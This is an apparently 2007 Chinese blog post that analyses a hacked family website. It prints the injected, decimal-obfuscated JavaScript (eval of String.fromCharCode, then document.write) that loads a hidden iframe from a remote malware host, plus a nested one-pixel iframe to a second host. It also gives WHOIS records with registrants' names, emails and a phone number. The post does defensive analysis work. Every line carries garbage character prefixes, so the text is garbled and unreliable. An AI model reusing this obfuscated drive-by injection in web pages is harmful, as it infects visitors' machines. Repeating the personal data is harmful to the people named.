首发在我的博客里面，
|)OC1=As 5Y>fVq{U?; http://www.areway.cn/?p=175 |F +n 7 _LFABG= i8!err._ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
XZ"o OE0= >?jmeD3u <script>t=’60,105,102,114,97,109,101,
D^S"6v" z 32,115,114,99,61,104,116,116,112,58,47,47,
(@NW2 102,114,101,101,46,117,45,117,117,117,46,99,
c1xX)cF 110,47,101,114,114,111,114,46,104,116,109,
}Xb|Ur43 32,119,105,100,116,104,61,49,48,48,32,104,
Fla qgi/j 101,105,103,104,116,61,48,62,60,47,105,102,
\rY\wa 114,97,109,101,62′;
2S//5@~_m t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
sWKv> bx kbSl.V%) <script>t=’60,105,102,114,97,109,101,32,115,
n] 8*yoge 114,99,61,104,116,116,112,58,47,47,102,114,
{S`Rr/E|% 101,101,46,117,45,117,117,117,46,99,110,47,
N}Or+:"O:q 101,114,114,111,114,46,104,116,109,32,119,
7#j9"* 105,100,116,104,61,49,48,48,32,104,101,105,
,U~in)\
U 103,104,116,61,48,62,60,47,105,102,114,97,
%ed TW[C` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
L>p SE'} document.write(t);</script>
~i0>[S3 ' O&Y22mu <html xmlns=”
b_)SMAsO7 http://www.w3.org/1999/xhtml #n+sbx5~7 “>
Of#"nu <head>
tm.&k6% <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
p.5 *`, ) <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
_6->D[dB <title>首页 - 爱生活家庭网
]} pAZd zVis"g` 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
P]7s1kgaS 转换字符串后的大概内容是（谁点击后果自付）：
ZU`HaL$ <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
I7C+XUQkQ [ $M l;K 查询玉米u-uuu.cn的详细信息：
Yc 5<Y-W Domain Name: u-uuu.cn
Pk5 %lu ROID: 20070901s10001s64972306-cn
4'.] -u Domain Status: ok
]d* O>Pm Registrant Organization: 王雷
p
~)\! Registrant Name: 王雷
KVHK~Y-G Administrative Email:
czlovexs@126.com EcPvE=^c Sponsoring Registrar: 北京万网志成科技有限公司
+&* >FeJY Name Server:ns.yovole.com
a
YY1*^ Name Server:ns1.yovole.com
u4xJ-Vu Registration Date: 2007-09-01 17:54
lUiO | Expiration Date: 2008-09-01 17:54
`FK qVd 最后PING了一下地址 都没有什么….
eGUe#(I / 'cY @Dqg1 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
'.e 5Ku <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
{JM3drnw <script language=”javascript” src=”
`F~Fb S http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script <)+;Bg >
(kx>\FIK* 这个玉米应该有可能是木马作者的：
f5R%F ~ foafau.info的详细信息：
2|`~3B)# Access to INFO WHOIS information is provided to assist persons in
fN
1 :'d determining the contents of a domain name registration record in the
9Dyw4'W.N Afilias registry database. The data in this record is provided by
NM1TFs2Y* Afilias Limited for informational purposes only, and Afilias does not
:~ p_(rE guarantee its accuracy. This service is intended only for query-based
\\/
!I
access. You agree that you will use this data only for lawful purposes
=|d5V% mK and that, under no circumstances will you use this data to: (a) allow,
p+2uK|T9 enable, or otherwise support the transmission by e-mail, telephone, or
Y 'y$k facsimile of mass unsolicited, commercial advertising or solicitations
&# @"^(} 6 to entities other than the data recipient’s own existing customers; or
,88%eX| (b) enable high volume, automated, electronic processes that send
P d(n|t3[8 queries or data to the systems of Registry Operator, a Registrar, or
XX *f Afilias except as reasonably necessary to register domain names or
0q BXL;sE modify existing registrations. All rights reserved. Afilias reserves
x!onan the right to modify these terms at any time. By submitting this query,
.>'J ^^ you agree to abide by this policy.
%Ip=3($Ku[ Domain ID:D22418703-LRMS
Q8DKU Domain Name:FOAFAU.INFO
)EG-xo@X Created On:20-Nov-2007 16:05:42 UTC
xH-} <7 Last Updated On:20-Nov-2007 16:05:44 UTC
5;9.&f Expiration Date:20-Nov-2008 16:05:42 UTC
)' 2vUt`_7 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
5 hB2: $C Status:CLIENT DELETE PROHIBITED
DE?@ 8k Status:CLIENT RENEW PROHIBITED
'YEiT#+/ Status:CLIENT TRANSFER PROHIBITED
x_EU.924uY Status:CLIENT UPDATE PROHIBITED
&0mhO+g Status:TRANSFER PROHIBITED
*gI9CVfQl Registrant ID:GODA-040110615
5JZZvc$au Registrant Name:liu hong
Fh)YNW@ Registrant Organization:
,7e 2M@=
Registrant Street1:beijing
'eoI~*}3WQ Registrant Street2:
Y C}$O2 Registrant Street3:
v=H!Y"; Registrant City:beijing
87nsWBe Registrant State/Province:
CzT_ $v_ Registrant Postal Code:100000
[oH,FSuO!2 Registrant Country:CN
z<BwV
/fH} Registrant Phone:+86.860108888777
cH7D@p} Registrant Phone Ext.:
^9kdd[ Registrant FAX:
t*Wx voxk Registrant FAX Ext.:
gOk^("@ Registrant Email:bbbshiji@163.com
n6*;
~h5 Admin ID:GODA-240110615
-A Nq!$E Admin Name:liu hong
BCH I@a Admin Organization:
5gPAX $j H Admin Street1:beijing
4_S% K & Admin Street2:
Zn'y"@%t[ Admin Street3:
T0}P ' q Admin City:beijing
~0 n9In% Admin State/Province:
!i6 aA1' Admin Postal Code:100000
:: 8E?c Admin Country:CN
CY9`HQ1 Admin Phone:+86.860108888777
FD}>}f Lv Admin Phone Ext.:
g/,O51f' Admin FAX:
J15$P8J Admin FAX Ext.:
WTh|7& Admin Email:bbbshiji@163.com
?/ s=E+ Billing ID:GODA-340110615
L G9#D Billing Name:liu hong
R7 By=Y!t Billing Organization:
F~O! J@4] Billing Street1:beijing
bRAf!<3 Billing Street2:
NPR{g!tK% Billing Street3:
!!t@ H\ Billing City:beijing
] cI(||x Billing State/Province:
]%%c c Billing Postal Code:100000
k <S! | Billing Country:CN
0 .p $q Billing Phone:+86.860108888777
; d
> Billing Phone Ext.:
k C[nY Billing FAX:
|zL .PS Billing FAX Ext.:
Xq%!(YD| Billing Email:bbbshiji@163.com
KBGJB`D* Tech ID:GODA-140110615
uO-R:MC Tech Name:liu hong
/h%MWCZWm^ Tech Organization:
oDas~0<oh Tech Street1:beijing
8%#uZG\ } Tech Street2:
B F 6H_g Tech Street3:
ihhn B Tech City:beijing
3'2}F%!Mv Tech State/Province:
oAp I/o Tech Postal Code:100000
l@YpgyqaL Tech Country:CN
# $%gs] Tech Phone:+86.860108888777
9/|i. 2& Tech Phone Ext.:
' C*NyHc Tech FAX:
k07) g:_ Tech FAX Ext.:
VVje|T^{Z Tech Email:bbbshiji@163.com
}fs;yPl, Name Server:NS27.DOMAINCONTROL.COM
)+9D$m=P; Name Server:NS28.DOMAINCONTROL.COM
L p*T=]C] Name Server:
K+mtuB]yr Name Server:
Z_Ma|V?6 Name Server:
^ihXM]1{G Name Server:
`ionMTZY Name Server:
&f qmO>M Name Server:
49Ue2=PP# Name Server:
T }] Ao Name Server:
IJXH_H_%* Name Server:
z(orA} [ Name Server:
z ?"5= "D Name Server:
1y"37;x U w`LWG3T 接着下载每个文件里面的代码：
y!!+IeReS 一步一步看..
D&9j$#9Rh 
1I^Sv 
#CQ>d8& 
Z#o\9/{(R 
|P JW2PN 
v,i:vT\~ 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
